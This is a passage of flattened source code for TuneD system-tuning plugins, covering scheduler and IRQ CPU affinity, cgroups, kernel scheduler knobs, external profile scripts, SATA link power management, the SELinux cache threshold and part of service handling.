self._cmd.write_to_file(path, affinity, no_error = True): log.error("Unable to set affinity '%s' for cgroup '%s'" % (affinity, cgroup)) def _cgroup_set_affinity(self): if self._cgroup_affinity_initialized: return log.debug("Setting cgroups affinities") if self._affinity is not None and self._cgroup is not None and not self._cgroup in self._cgroups: self._cgroup_set_affinity_one(self._cgroup, self._affinity, backup = True) for cg in self._cgroups.items(): self._cgroup_set_affinity_one(cg[0], cg[1], backup = True) self._cgroup_affinity_initialized = True def _cgroup_restore_affinity(self): log.debug("Restoring cgroups affinities") for cg in self._cgroups_original_affinity.items(): self._cgroup_set_affinity_one(cg[0], cg[1]) def _instance_apply_static(self, instance): # need to get "cgroup_mount_point_init", "cgroup_mount_point", "cgroup_groups_init", # "cgroup", and initialize mount point and cgroups before super class implementation call self._cgroup_mount_point = self._variables.expand(instance.options["cgroup_mount_point"]) self._cgroup_mount_point_init = self._cmd.get_bool(self._variables.expand( instance.options["cgroup_mount_point_init"])) == "1" self._cgroup_groups_init = self._cmd.get_bool(self._variables.expand( instance.options["cgroup_groups_init"])) == "1" self._cgroup = self._sanitize_cgroup_path(self._variables.expand( instance.options["cgroup_for_isolated_cores"])) if self._cgroup_mount_point_init: self._cgroup_initialize() if self._cgroup_groups_init or self._cgroup_mount_point_init: self._cgroup_initialize_groups() super(SchedulerPlugin, self)._instance_apply_static(instance) self._cgroup_set_affinity() try: ps = self.get_processes() except (OSError, IOError) as e: log.error("error applying tuning, cannot get information about running processes: %s" % e) return sched_cfg = [(option, str(value).split(":", 4)) for option, value in instance._scheduler.items()] buf = [(option, self._convert_sched_cfg(vals)) for option, vals in sched_cfg if re.match(r"group\.", option) and len(vals) == 5] sched_cfg = sorted(buf, key=lambda option_vals: option_vals[1][0]) sched_all = dict() # for runtime tuning instance._sched_lookup = {} for option, (rule_prio, scheduler, priority, affinity, regex) \ in sched_cfg: try: r = re.compile(regex) except re.error as e: log.error("error compiling regular expression: '%s'" % str(regex)) continue processes = [(pid, cmd) for pid, cmd in ps.items() if re.search(r, cmd) is not None] #cmd - process name, option - group name sched = dict([(pid, (cmd, option, scheduler, priority, affinity, regex)) for pid, cmd in processes]) sched_all.update(sched) # make any contained regexes non-capturing: replace "(" with "(?:", # unless the "(" is preceded by "\" or followed by "?" regex = re.sub(r"(?<!\\)\((?!\?)", "(?:", str(regex)) instance._sched_lookup[regex] = [scheduler, priority, affinity] for pid, (cmd, option, scheduler, priority, affinity, regex) \ in sched_all.items(): self._tune_process(pid, cmd, scheduler, priority, affinity) self._storage.set(self._scheduler_storage_key, self._scheduler_original) if self._daemon and instance._runtime_tuning: instance._thread = threading.Thread(target = self._thread_code, args = [instance]) instance._thread.start() def _restore_ps_affinity(self): try: ps = self.get_processes() except (OSError, IOError) as e: log.error("error unapplying tuning, cannot get information about running processes: %s" % e) return for pid, orig_params in self._scheduler_original.items(): # if command line for the pid didn't change, it's very probably the same process if pid not in ps or ps[pid] != orig_params.cmdline: continue if orig_params.scheduler is not None \ and orig_params.priority is not None: self._set_rt(pid, orig_params.scheduler, orig_params.priority) if orig_params.cgroup is not None: self._set_cgroup(pid, orig_params.cgroup) elif orig_params.affinity is not None: self._set_affinity(pid, orig_params.affinity) self._scheduler_original = {} self._storage.unset(self._scheduler_storage_key) def _cgroup_cleanup_tasks_one(self, cgroup): cnt = int(consts.CGROUP_CLEANUP_TASKS_RETRY) data = " " while data != "" and cnt > 0: data = self._cmd.read_file("%s/%s/%s" % (self._cgroup_mount_point, cgroup, "tasks"), err_ret = " ", no_error = True) if data not in ["", " "]: for l in data.split("\n"): self._cmd.write_to_file("%s/%s" % (self._cgroup_mount_point, "tasks"), l, no_error = True) cnt -= 1 if cnt == 0: log.warning("Unable to cleanup tasks from cgroup '%s'" % cgroup) def _cgroup_cleanup_tasks(self): if self._cgroup is not None and not self._cgroup in self._cgroups: self._cgroup_cleanup_tasks_one(self._cgroup) for cg in self._cgroups: self._cgroup_cleanup_tasks_one(cg) def _instance_unapply_static(self, instance, rollback = consts.ROLLBACK_SOFT): super(SchedulerPlugin, self)._instance_unapply_static(instance, rollback) if self._daemon and instance._runtime_tuning: instance._terminate.set() instance._thread.join() self._restore_ps_affinity() self._cgroup_restore_affinity() self._cgroup_cleanup_tasks() if self._cgroup_groups_init or self._cgroup_mount_point_init: self._cgroup_finalize_groups() if self._cgroup_mount_point_init: self._cgroup_finalize() def _cgroup_verify_affinity_one(self, cgroup, affinity): log.debug("Verifying cgroup '%s' affinity" % cgroup) path = "%s/%s/%s" % (self._cgroup_mount_point, cgroup, "cpuset.cpus") current_affinity = self._cmd.read_file(path, err_ret = "ERR", no_error = True) if current_affinity == "ERR": return True current_affinity = self._cmd.cpulist2string(self._cmd.cpulist_pack(current_affinity)) affinity = self._cmd.cpulist2string(self._cmd.cpulist_pack(affinity)) affinity_description = "cgroup '%s' affinity" % cgroup if current_affinity == affinity: log.info(consts.STR_VERIFY_PROFILE_VALUE_OK % (affinity_description, current_affinity)) return True else: log.error(consts.STR_VERIFY_PROFILE_VALUE_FAIL % (affinity_description, current_affinity, affinity)) return False def _cgroup_verify_affinity(self): log.debug("Veryfying cgroups affinities") ret = True if self._affinity is not None and self._cgroup is not None and not self._cgroup in self._cgroups: ret = ret and self._cgroup_verify_affinity_one(self._cgroup, self._affinity) for cg in self._cgroups.items(): ret = ret and self._cgroup_verify_affinity_one(cg[0], cg[1]) return ret def _instance_verify_static(self, instance, ignore_missing, devices): ret1 = super(SchedulerPlugin, self)._instance_verify_static(instance, ignore_missing, devices) ret2 = self._cgroup_verify_affinity() return ret1 and ret2 def _add_pid(self, instance, pid, r): try: proc = procfs.process(pid) if not self._kthread_process and self._is_kthread(proc): return cmd = self._get_cmdline(pid) except (OSError, IOError) as e: if e.errno == errno.ENOENT \ or e.errno == errno.ESRCH: log.debug("Failed to get cmdline of PID %d, the task vanished." % pid) else: log.error("Failed to get cmdline of PID %d: %s" % (pid, e)) return v = self._cmd.re_lookup(instance._sched_lookup, cmd, r) if v is not None and not pid in self._scheduler_original: log.debug("tuning new process '%s' with PID '%d' by '%s'" % (cmd, pid, str(v))) (sched, prio, affinity) = v self._tune_process(pid, cmd, sched, prio, affinity) self._storage.set(self._scheduler_storage_key, self._scheduler_original) def _remove_pid(self, instance, pid): if pid in self._scheduler_original: del self._scheduler_original[pid] log.debug("removed PID %d from the rollback database" % pid) self._storage.set(self._scheduler_storage_key, self._scheduler_original) def _thread_code(self, instance): r = self._cmd.re_lookup_compile(instance._sched_lookup) poll = select.poll() # Store the file objects in a local variable so that they don't # go out of scope too soon. This is a workaround for # python3-perf bug rhbz#1659445. fds = instance._evlist.get_pollfd() for fd in fds: poll.register(fd) while not instance._terminate.is_set(): # timeout to poll in milliseconds if len(poll.poll(self._sleep_interval * 1000)) > 0 and not instance._terminate.is_set(): read_events = True while read_events: read_events = False for cpu in self._cpus: event = instance._evlist.read_on_cpu(cpu) if event: read_events = True if isinstance(event, perf.comm_event) or ( self._perf_process_fork_value and isinstance(event, perf.task_event) and event.type == perf.RECORD_FORK ): self._add_pid(instance, int(event.tid), r) elif isinstance(event, perf.task_event) and event.type == perf.RECORD_EXIT: self._remove_pid(instance, int(event.tid)) @command_custom("cgroup_ps_blacklist", per_device = False) def _cgroup_ps_blacklist(self, enabling, value, verify, ignore_missing, instance): # currently unsupported if verify: return None if enabling and value is not None: self._cgroup_ps_blacklist_re = "\|".join(["(%s)" % v for v in re.split(r"(?<!\\);", str(value))]) @command_custom("ps_whitelist", per_device = False) def _ps_whitelist(self, enabling, value, verify, ignore_missing, instance): # currently unsupported if verify: return None if enabling and value is not None: self._ps_whitelist = "\|".join(["(%s)" % v for v in re.split(r"(?<!\\);", str(value))]) @command_custom("ps_blacklist", per_device = False) def _ps_blacklist(self, enabling, value, verify, ignore_missing, instance): # currently unsupported if verify: return None if enabling and value is not None: self._ps_blacklist = "\|".join(["(%s)" % v for v in re.split(r"(?<!\\);", str(value))]) @command_custom("kthread_process", per_device = False) def _kthread_process(self, enabling, value, verify, ignore_missing, instance): # currently unsupported if verify: return None if enabling and value is not None: self._kthread_process = self._cmd.get_bool(value) == "1" @command_custom("irq_process", per_device = False) def _irq_process(self, enabling, value, verify, ignore_missing, instance): # currently unsupported if verify: return None if enabling and value is not None: self._irq_process = self._cmd.get_bool(value) == "1" @command_custom("default_irq_smp_affinity", per_device = False) def _default_irq_smp_affinity(self, enabling, value, verify, ignore_missing, instance): # currently unsupported if verify: return None if enabling and value is not None: if value in ["calc", "ignore"]: self._default_irq_smp_affinity_value = value else: self._default_irq_smp_affinity_value = self._cmd.cpulist_unpack(value) @command_custom("perf_process_fork", per_device = False) def _perf_process_fork(self, enabling, value, verify, ignore_missing, instance): # currently unsupported if verify: return None if enabling and value is not None: self._perf_process_fork_value = self._cmd.get_bool(value) == "1" # Raises OSError # Raises SystemError with old (pre-0.4) python-schedutils # instead of OSError # If PID doesn't exist, errno == ESRCH def _get_affinity(self, pid): res = self._scheduler_utils.get_affinity(pid) log.debug("Read affinity '%s' of PID %d" % (res, pid)) return res def _set_affinity(self, pid, affinity): process = procfs.process(pid) if self._process_in_blacklisted_cgroup(process): log.debug("Not setting CPU affinity of PID %d, the task belongs to a blacklisted cgroup." % pid) return log.debug("Setting CPU affinity of PID %d to '%s'." % (pid, affinity)) try: self._scheduler_utils.set_affinity(pid, affinity) # Workaround for old python-schedutils (pre-0.4) which # incorrectly raised SystemError instead of OSError except (SystemError, OSError) as e: if not self._ignore_set_affinity_error(process): log.error("Failed to set affinity of PID %d to '%s': %s" % (pid, affinity, e)) # returns intersection of affinity1 with affinity2, if intersection is empty it returns affinity3 def _get_intersect_affinity(self, affinity1, affinity2, affinity3): aff = set(affinity1).intersection(set(affinity2)) if aff: return list(aff) return affinity3 def _set_all_obj_affinity(self, objs, affinity, threads = False): psl = objs if not self._kthread_process: psl = [v for v in psl if not self._is_kthread(v)] psl = [v for v in psl if re.search(self._ps_whitelist, self._get_stat_comm(v)) is not None] if self._ps_blacklist != "": psl = [v for v in psl if re.search(self._ps_blacklist, self._get_stat_comm(v)) is None] psd = dict([(v.pid, v) for v in psl]) for pid in psd: try: cmd = self._get_cmdline(psd[pid]) except (OSError, IOError) as e: if e.errno == errno.ENOENT \ or e.errno == errno.ESRCH: log.debug("Failed to get cmdline of PID %d, the task vanished." % pid) else: log.error("Refusing to set affinity of PID %d, failed to get its cmdline: %s" % (pid, e)) continue cont = self._tune_process_affinity(pid, affinity, intersect = True) if not cont: continue if pid in self._scheduler_original: self._scheduler_original[pid].cmdline = cmd # process threads if not threads and "threads" in psd[pid]: self._set_all_obj_affinity( psd[pid]["threads"].values(), affinity, True) def _get_stat_cgroup(self, o): try: return o["cgroups"] except (OSError, IOError, KeyError): return "" def _get_stat_comm(self, o): try: return o["stat"]["comm"] except (OSError, IOError, KeyError): return "" def _set_ps_affinity(self, affinity): try: ps = procfs.pidstats() ps.reload_threads() self._set_all_obj_affinity(ps.values(), affinity, False) except (OSError, IOError) as e: log.error("error applying tuning, cannot get information about running processes: %s" % e) # Returns 0 on success, -2 if changing the affinity is not # supported, -1 if some other error occurs. def _set_irq_affinity(self, irq, affinity, restoring): try: affinity_hex = self._cmd.cpulist2hex(affinity) log.debug("Setting SMP affinity of IRQ %s to '%s'" % (irq, affinity_hex)) filename = "/proc/irq/%s/smp_affinity" % irq with open(filename, "w") as f: f.write(affinity_hex) return 0 except (OSError, IOError) as e: # EIO is returned by # kernel/irq/proc.c:write_irq_affinity() if changing # the affinity is not supported # (at least on kernels 3.10 and 4.18) if hasattr(e, "errno") and e.errno == errno.EIO \ and not restoring: log.debug("Setting SMP affinity of IRQ %s is not supported" % irq) return -2 else: log.error("Failed to set SMP affinity of IRQ %s to '%s': %s" % (irq, affinity_hex, e)) return -1 def _set_default_irq_affinity(self, affinity): try: affinity_hex = self._cmd.cpulist2hex(affinity) log.debug("Setting default SMP IRQ affinity to '%s'" % affinity_hex) with open("/proc/irq/default_smp_affinity", "w") as f: f.write(affinity_hex) except (OSError, IOError) as e: log.error("Failed to set default SMP IRQ affinity to '%s': %s" % (affinity_hex, e)) def _set_all_irq_affinity(self, affinity): irq_original = IRQAffinities() irqs = procfs.interrupts() for irq in irqs.keys(): try: prev_affinity = irqs[irq]["affinity"] log.debug("Read affinity of IRQ '%s': '%s'" % (irq, prev_affinity)) except KeyError: continue _affinity = self._get_intersect_affinity(prev_affinity, affinity, affinity) if set(_affinity) == set(prev_affinity): continue res = self._set_irq_affinity(irq, _affinity, False) if res == 0: irq_original.irqs[irq] = prev_affinity elif res == -2: irq_original.unchangeable.append(irq) # default affinity prev_affinity_hex = self._cmd.read_file("/proc/irq/default_smp_affinity") prev_affinity = self._cmd.hex2cpulist(prev_affinity_hex) if self._default_irq_smp_affinity_value == "calc": _affinity = self._get_intersect_affinity(prev_affinity, affinity, affinity) elif self._default_irq_smp_affinity_value != "ignore": _affinity = self._default_irq_smp_affinity_value if self._default_irq_smp_affinity_value != "ignore": self._set_default_irq_affinity(_affinity) irq_original.default = prev_affinity self._storage.set(self._irq_storage_key, irq_original) def _restore_all_irq_affinity(self): irq_original = self._storage.get(self._irq_storage_key, None) if irq_original is None: return for irq, affinity in irq_original.irqs.items(): self._set_irq_affinity(irq, affinity, True) if self._default_irq_smp_affinity_value != "ignore": affinity = irq_original.default self._set_default_irq_affinity(affinity) self._storage.unset(self._irq_storage_key) def _verify_irq_affinity(self, irq_description, correct_affinity, current_affinity): res = set(current_affinity).issubset(set(correct_affinity)) if res: log.info(consts.STR_VERIFY_PROFILE_VALUE_OK % (irq_description, current_affinity)) else: log.error(consts.STR_VERIFY_PROFILE_VALUE_FAIL % (irq_description, current_affinity, correct_affinity)) return res def _verify_all_irq_affinity(self, correct_affinity, ignore_missing): irq_original = self._storage.get(self._irq_storage_key, None) irqs = procfs.interrupts() res = True for irq in irqs.keys(): if irq in irq_original.unchangeable and ignore_missing: description = "IRQ %s does not support changing SMP affinity" % irq log.info(consts.STR_VERIFY_PROFILE_VALUE_MISSING % description) continue try: current_affinity = irqs[irq]["affinity"] log.debug("Read SMP affinity of IRQ '%s': '%s'" % (irq, current_affinity)) irq_description = "SMP affinity of IRQ %s" % irq if not self._verify_irq_affinity( irq_description, correct_affinity, current_affinity): res = False except KeyError: continue current_affinity_hex = self._cmd.read_file( "/proc/irq/default_smp_affinity") current_affinity = self._cmd.hex2cpulist(current_affinity_hex) if self._default_irq_smp_affinity_value != "ignore" and not self._verify_irq_affinity("default IRQ SMP affinity", current_affinity, correct_affinity if self._default_irq_smp_affinity_value == "calc" else self._default_irq_smp_affinity_value): res = False return res @command_custom("isolated_cores", per_device = False, priority = 10) def _isolated_cores(self, enabling, value, verify, ignore_missing, instance): affinity = None self._affinity = None if value is not None: isolated = set(self._cmd.cpulist_unpack(value)) present = set(self._cpus) if isolated.issubset(present): affinity = list(present - isolated) self._affinity = self._cmd.cpulist2string(affinity) else: str_cpus = self._cmd.cpulist2string(self._cpus) log.error("Invalid isolated_cores specified, '%s' does not match available cores '%s'" % (value, str_cpus)) if (enabling or verify) and affinity is None: return None # currently only IRQ affinity verification is supported if verify: if self._irq_process: return self._verify_all_irq_affinity(affinity, ignore_missing) return True elif enabling: if self._cgroup: self._cgroup_set_affinity() ps_affinity = "cgroup.%s" % self._cgroup else: ps_affinity = affinity self._set_ps_affinity(ps_affinity) if self._irq_process: self._set_all_irq_affinity(affinity) else: # Restoring processes' affinity is done in # _instance_unapply_static() if self._irq_process: self._restore_all_irq_affinity() return True def _sched_assembly_path(self, prefix, namespace, knob): if prefix == "": path = "%s/%s" % (namespace, knob) else: path = "%s/%s/%s" % (prefix, namespace, knob) return "/sys/kernel/debug/%s" % path # map to kernel 6.6 paths, "" means that knob was dropped def _sched_assembly_path2(self, path, prefix, namespace, knob): lpath = path if namespace == "sched": lknob = self._dict_sched_knob_map.get(knob) if lknob is not None: if lknob: lpath = self._sched_assembly_path(prefix, namespace, lknob) else: lpath = "" return lpath def _get_sched_knob_path(self, prefix, namespace, knob): key = "%s_%s_%s" % (prefix, namespace, knob) path = self._sched_knob_paths_cache.get(key) if path or path == "": return path path = "/proc/sys/kernel/%s_%s" % (namespace, knob) if not os.path.exists(path): path = self._sched_assembly_path(prefix, namespace, knob) # kernel 6.6 drops and renames some knobs if not os.path.exists(path): path = self._sched_assembly_path2(path, prefix, namespace, knob) if path != "" and self._secure_boot_hint is None: self._secure_boot_hint = True self._sched_knob_paths_cache[key] = path return path def _get_sched_knob(self, prefix, namespace, knob): data = None path = self._get_sched_knob_path(prefix, namespace, knob) if path != "": data = self._cmd.read_file(path, err_ret = None) if data is None: log.error("Error reading '%s'" % knob) if self._secure_boot_hint: log.error("This may not work with Secure Boot or kernel_lockdown (this hint is logged only once)") self._secure_boot_hint = False return data def _set_sched_knob(self, prefix, namespace, knob, value, sim, remove = False): if value is None: return None path = self._get_sched_knob_path(prefix, namespace, knob) if not path: log.debug("knob '%s' ignored, unsupported by kernel" % knob) return None if not sim: if not self._cmd.write_to_file(path, value, \ no_error = [errno.ENOENT] if remove else False): log.error("Error writing value '%s' to '%s'" % (value, knob)) return value @command_get("sched_min_granularity_ns") def _get_sched_min_granularity_ns(self, instance): return self._get_sched_knob("", "sched", "min_granularity_ns") @command_set("sched_min_granularity_ns") def _set_sched_min_granularity_ns(self, value, instance, sim, remove): return self._set_sched_knob("", "sched", "min_granularity_ns", value, sim, remove) @command_get("sched_base_slice_ns") def _get_sched_base_slice_ns(self, instance): return self._get_sched_min_granularity_ns(instance) @command_set("sched_base_slice_ns") def _set_sched_base_slice_ns(self, value, instance, sim, remove): return self._set_sched_min_granularity_ns(value, instance, sim, remove) @command_get("sched_latency_ns") def _get_sched_latency_ns(self, instance): return self._get_sched_knob("", "sched", "latency_ns") @command_set("sched_latency_ns") def _set_sched_latency_ns(self, value, instance, sim, remove): return self._set_sched_knob("", "sched", "latency_ns", value, sim, remove) @command_get("sched_wakeup_granularity_ns") def _get_sched_wakeup_granularity_ns(self, instance): return self._get_sched_knob("", "sched", "wakeup_granularity_ns") @command_set("sched_wakeup_granularity_ns") def _set_sched_wakeup_granularity_ns(self, value, instance, sim, remove): return self._set_sched_knob("", "sched", "wakeup_granularity_ns", value, sim, remove) @command_get("sched_tunable_scaling") def _get_sched_tunable_scaling(self, instance): return self._get_sched_knob("", "sched", "tunable_scaling") @command_set("sched_tunable_scaling") def _set_sched_tunable_scaling(self, value, instance, sim, remove): return self._set_sched_knob("", "sched", "tunable_scaling", value, sim, remove) @command_get("sched_migration_cost_ns") def _get_sched_migration_cost_ns(self, instance): return self._get_sched_knob("", "sched", "migration_cost_ns") @command_set("sched_migration_cost_ns") def _set_sched_migration_cost_ns(self, value, instance, sim, remove): return self._set_sched_knob("", "sched", "migration_cost_ns", value, sim, remove) @command_get("sched_nr_migrate") def _get_sched_nr_migrate(self, instance): return self._get_sched_knob("", "sched", "nr_migrate") @command_set("sched_nr_migrate") def _set_sched_nr_migrate(self, value, instance, sim, remove): return self._set_sched_knob("", "sched", "nr_migrate", value, sim, remove) @command_get("numa_balancing_scan_delay_ms") def _get_numa_balancing_scan_delay_ms(self, instance): return self._get_sched_knob("sched", "numa_balancing", "scan_delay_ms") @command_set("numa_balancing_scan_delay_ms") def _set_numa_balancing_scan_delay_ms(self, value, instance, sim, remove): return self._set_sched_knob("sched", "numa_balancing", "scan_delay_ms", value, sim, remove) @command_get("numa_balancing_scan_period_min_ms") def _get_numa_balancing_scan_period_min_ms(self, instance): return self._get_sched_knob("sched", "numa_balancing", "scan_period_min_ms") @command_set("numa_balancing_scan_period_min_ms") def _set_numa_balancing_scan_period_min_ms(self, value, instance, sim, remove): return self._set_sched_knob("sched", "numa_balancing", "scan_period_min_ms", value, sim, remove) @command_get("numa_balancing_scan_period_max_ms") def _get_numa_balancing_scan_period_max_ms(self, instance): return self._get_sched_knob("sched", "numa_balancing", "scan_period_max_ms") @command_set("numa_balancing_scan_period_max_ms") def _set_numa_balancing_scan_period_max_ms(self, value, instance, sim, remove): return self._set_sched_knob("sched", "numa_balancing", "scan_period_max_ms", value, sim, remove) @command_get("numa_balancing_scan_size_mb") def _get_numa_balancing_scan_size_mb(self, instance): return self._get_sched_knob("sched", "numa_balancing", "scan_size_mb") @command_set("numa_balancing_scan_size_mb") def _set_numa_balancing_scan_size_mb(self, value, instance, sim, remove): return self._set_sched_knob("sched", "numa_balancing", "scan_size_mb", value, sim, remove)	58.48 KB	2025-08-24 21:48
📄 plugin_script.py import tuned.consts as consts from . import base import tuned.logs import os from subprocess import Popen, PIPE log = tuned.logs.get() class ScriptPlugin(base.Plugin): """ Executes an external script or binary when the profile is loaded or unloaded. You can choose an arbitrary executable. IMPORTANT: The `script` plug-in is provided mainly for compatibility with earlier releases. Prefer other TuneD plug-ins if they cover the required functionality. TuneD calls the executable with one of the following arguments: * `start` when loading the profile * `stop` when unloading the profile You need to correctly implement the `stop` action in your executable and revert all settings that you changed during the `start` action. Otherwise, the roll-back step after changing your TuneD profile will not work. Bash scripts can import the [filename]`/usr/lib/tuned/functions` Bash library and use the functions defined there. Use these functions only for functionality that is not natively provided by TuneD. If a function name starts with an underscore, such as `_wifi_set_power_level`, consider the function private and do not use it in your scripts, because it might change in the future. Specify the path to the executable using the `script` parameter in the plug-in configuration. .Running a Bash script from a profile ==== To run a Bash script named `script.sh` that is located in the profile directory, use: ---- [script] script=${i:PROFILE_DIR}/script.sh ---- ==== """ @classmethod def _get_config_options(self): return { "script" : None, } def _instance_init(self, instance): instance._has_static_tuning = True instance._has_dynamic_tuning = False if instance.options["script"] is not None: # FIXME: this hack originated from profiles merger assert isinstance(instance.options["script"], list) instance._scripts = instance.options["script"] else: instance._scripts = [] def _instance_cleanup(self, instance): pass def _call_scripts(self, scripts, arguments): ret = True for script in scripts: environ = os.environ environ.update(self._variables.get_env()) if not self._safe_script_path(script): log.error("Paths outside of the profile directories cannot be used in the script, " \ + "ignoring script: '%s'." % script) continue log.info("calling script '%s' with arguments '%s'" % (script, str(arguments))) log.debug("using environment '%s'" % str(list(environ.items()))) try: proc = Popen([script] + arguments, \ stdout=PIPE, stderr=PIPE, \ close_fds=True, env=environ, \ universal_newlines = True, \ cwd = os.path.dirname(script)) out, err = proc.communicate() if len(err): log.error("script '%s' error output: '%s'" % (script, err[:-1])) if proc.returncode: log.error("script '%s' returned error code: %d" % (script, proc.returncode)) ret = False except (OSError,IOError) as e: log.error("script '%s' error: %s" % (script, e)) ret = False return ret def _instance_apply_static(self, instance): super(ScriptPlugin, self)._instance_apply_static(instance) self._call_scripts(instance._scripts, ["start"]) def _instance_verify_static(self, instance, ignore_missing, devices): ret = True if super(ScriptPlugin, self)._instance_verify_static(instance, ignore_missing, devices) == False: ret = False args = ["verify"] if ignore_missing: args += ["ignore_missing"] if self._call_scripts(instance._scripts, args) == True: log.info(consts.STR_VERIFY_PROFILE_OK % instance._scripts) else: log.error(consts.STR_VERIFY_PROFILE_FAIL % instance._scripts) ret = False return ret def _instance_unapply_static(self, instance, rollback = consts.ROLLBACK_SOFT): args = ["stop"] if rollback == consts.ROLLBACK_FULL: args = args + ["full_rollback"] self._call_scripts(reversed(instance._scripts), args) super(ScriptPlugin, self)._instance_unapply_static(instance, rollback)	3.91 KB	2025-08-24 21:48
📄 plugin_scsi_host.py import errno from . import hotplug from .decorators import * import tuned.logs import tuned.consts as consts from tuned.utils.commands import commands import os import re log = tuned.logs.get() class SCSIHostPlugin(hotplug.Plugin): """ Tunes options for SCSI hosts. The plug-in sets Aggressive Link Power Management (ALPM) to the value specified by the [option]`alpm` option. The option takes one of four values: `min_power`, `med_power_with_dipm`, `medium_power` and `max_performance`. NOTE: ALPM is only available on SATA controllers that use the Advanced Host Controller Interface (AHCI). .ALPM setting when extended periods of idle time are expected ==== ---- [scsi_host] alpm=med_power_with_dipm ---- ==== """ def __init__(self, args, kwargs): super(SCSIHostPlugin, self).__init__(args, **kwargs) self._cmd = commands() def _init_devices(self): super(SCSIHostPlugin, self)._init_devices() self._devices_supported = True self._free_devices = set() for device in self._hardware_inventory.get_devices("scsi"): if self._device_is_supported(device): self._free_devices.add(device.sys_name) self._assigned_devices = set() def _get_device_objects(self, devices): return [self._hardware_inventory.get_device("scsi", x) for x in devices] @classmethod def _device_is_supported(cls, device): return device.device_type == "scsi_host" def _hardware_events_init(self): self._hardware_inventory.subscribe(self, "scsi", self._hardware_events_callback) def _hardware_events_cleanup(self): self._hardware_inventory.unsubscribe(self) def _hardware_events_callback(self, event, device): if self._device_is_supported(device): super(SCSIHostPlugin, self)._hardware_events_callback(event, device) def _added_device_apply_tuning(self, instance, device_name): super(SCSIHostPlugin, self)._added_device_apply_tuning(instance, device_name) def _removed_device_unapply_tuning(self, instance, device_name): super(SCSIHostPlugin, self)._removed_device_unapply_tuning(instance, device_name) @classmethod def _get_config_options(cls): return { "alpm" : None, } def _instance_init(self, instance): instance._has_static_tuning = True instance._has_dynamic_tuning = False def _instance_cleanup(self, instance): pass def _get_alpm_policy_file(self, device): return os.path.join("/sys/class/scsi_host/", str(device), "link_power_management_policy") def _get_ahci_port_cmd_file(self, device): return os.path.join("/sys/class/scsi_host/", str(device), "ahci_port_cmd") def _is_external_sata_port(self, device): port_cmd_file = self._get_ahci_port_cmd_file(device) if not os.path.isfile(port_cmd_file): return False port_cmd = int(self._cmd.read_file(port_cmd_file), 16) # Bit 18 is HPCP (Hot Plug Capable Port) # Bit 21 is ESP (External SATA Port) return port_cmd & (1 << 18 \| 1 << 21) != 0 @command_set("alpm", per_device = True) def _set_alpm(self, policy, device, instance, sim, remove): if policy is None: return None if self._is_external_sata_port(device): # According to the SATA AHCI specification, external (or hot-plug capable) # SATA ports must have power management disabled to reliably detect hot plug removal. log.info("Device '%s' is an external SATA controller, skipping ALPM setting to support hot plug" % str(device)) return None policy_file = self._get_alpm_policy_file(device) if not sim: if os.path.exists(policy_file): self._cmd.write_to_file(policy_file, policy, \ no_error = [errno.ENOENT] if remove else False) else: log.info("ALPM control file ('%s') not found, skipping ALPM setting for '%s'" % (policy_file, str(device))) return None return policy @command_get("alpm") def _get_alpm(self, device, instance, ignore_missing=False): policy_file = self._get_alpm_policy_file(device) policy = self._cmd.read_file(policy_file, no_error = True).strip() return policy if policy != "" else None	3.89 KB	2025-08-24 21:48
📄 plugin_selinux.py import os import errno from . import base from .decorators import * import tuned.logs from tuned.plugins import exceptions from tuned.utils.commands import commands log = tuned.logs.get() class SelinuxPlugin(base.Plugin): """ Plug-in for tuning SELinux options. SELinux decisions, such as allowing or denying access, are cached. This cache is known as the Access Vector Cache (AVC). When using these cached decisions, SELinux policy rules need to be checked less, which increases performance. The [option]`avc_cache_threshold` option allows adjusting the maximum number of AVC entries. NOTE: Prior to changing the default value, evaluate the system performance with care. Increasing the value could potentially decrease the performance by making AVC slow. .Increase the AVC cache threshold for hosts with containers. ==== ---- [selinux] avc_cache_threshold=8192 ---- ==== """ @classmethod def _get_selinux_path(self): path = "/sys/fs/selinux" if not os.path.exists(path): path = "/selinux" if not os.path.exists(path): path = None return path def __init__(self, args, kwargs): self._cmd = commands() self._selinux_path = self._get_selinux_path() if self._selinux_path is None: raise exceptions.NotSupportedPluginException("SELinux is not enabled on your system or incompatible version is used.") self._cache_threshold_path = os.path.join(self._selinux_path, "avc", "cache_threshold") super(SelinuxPlugin, self).__init__(args, **kwargs) @classmethod def _get_config_options(self): return { "avc_cache_threshold" : None, } def _instance_init(self, instance): instance._has_static_tuning = True instance._has_dynamic_tuning = False def _instance_cleanup(self, instance): pass @command_set("avc_cache_threshold") def _set_avc_cache_threshold(self, value, instance, sim, remove): if value is None: return None threshold = int(value) if threshold >= 0: if not sim: self._cmd.write_to_file(self._cache_threshold_path, threshold, \ no_error = [errno.ENOENT] if remove else False) return threshold else: return None @command_get("avc_cache_threshold") def _get_avc_cache_threshold(self, instance): value = self._cmd.read_file(self._cache_threshold_path) if len(value) > 0: return int(value) return None	2.26 KB	2025-08-24 21:48
📄 plugin_service.py from . import base import collections import tuned.consts as consts from .decorators import * import os import re import tuned.logs from tuned.utils.commands import commands log = tuned.logs.get() cmd = commands() class Service(): def __init__(self, start = None, enable = None, cfg_file = None, runlevel = None): self.enable = enable self.start = start self.cfg_file = cfg_file self.runlevel = runlevel class InitHandler(): def runlevel_get(self): (retcode, out) = cmd.execute(["runlevel"]) return out.split()[-1] if retcode == 0 else None def daemon_reload(self): cmd.execute(["telinit", "q"]) def cfg_install(self, name, cfg_file): pass def cfg_uninstall(self, name, cfg_file): pass def cfg_verify(self, name, cfg_file): return None # no enable/disable class SysVBasicHandler(InitHandler): def start(self, name): cmd.execute(["service", name, "start"]) def stop(self, name): cmd.execute(["service", name, "stop"]) def enable(self, name, runlevel): raise NotImplementedError() def disable(self, name, runlevel): raise NotImplementedError() def is_running(self, name): (retcode, out) = cmd.execute(["service", name, "status"], no_errors = [0]) return retcode == 0 def is_enabled(self, name, runlevel): raise NotImplementedError() class SysVHandler(SysVBasicHandler): def enable(self, name, runlevel): cmd.execute(["chkconfig", "--level", runlevel, name, "on"]) def disable(self, name, runlevel): cmd.execute(["chkconfig", "--level", runlevel, name, "off"]) def is_enabled(self, name, runlevel): (retcode, out) = cmd.execute(["chkconfig", "--list", name]) return out.split("%s:" % str(runlevel))[1][:2] == "on" if retcode == 0 else None class SysVRCHandler(SysVBasicHandler): def enable(self, name, runlevel): cmd.execute(["sysv-rc-conf", "--level", runlevel, name, "on"]) def disable(self, name, runlevel): cmd.execute(["sysv-rc-conf", "--level", runlevel, name, "off"]) def is_enabled(self, name, runlevel): (retcode, out) = cmd.execute(["sysv-rc-conf", "--list", name]) return out.split("%s:" % str(runlevel))[1][:2] == "on" if retcode == 0 else None class 